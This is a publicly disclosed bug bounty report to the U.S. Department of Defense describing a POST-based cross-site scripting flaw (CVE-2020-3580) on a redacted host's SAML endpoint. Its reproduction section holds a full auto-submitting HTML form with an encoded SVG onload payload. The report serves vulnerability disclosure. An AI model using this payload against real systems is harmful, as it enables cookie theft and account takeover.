HexBrain

U.S. Dept Of Defense · Report #1245055

XSS DUE TO CVE-2020-3580

Validstatus
mediumseverity
13upvotes
29 Jul 2021disclosed

How it was found

Hello Team, During my research, I found the following host to be vulnerable to CVE 2020-3580 which is POST BASED XSS.

Vulnerable URL: https://████/+CSCOE+/saml/sp/acs?tgname=a

Impact

Attackers can steal cookies and even takeover accounts and perform different malicious activities.

System Host(s)

███

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

Save following code as xss.html and open in browser:

<html> <body> <script>history.pushState('', '', '/')</script> <form action="https://███/+CSCOE+/saml/sp/acs?tgname=a" method="POST"> <input type="hidden" name="SAMLResponse" value="&quot;&gt;&lt;svg&#47;onload&#61;alert&#40;&apos;XSS&apos;&#41;&gt;" /> <input type="hidden" name="" value="" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html>

Suggested Mitigation/Remediation Actions

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original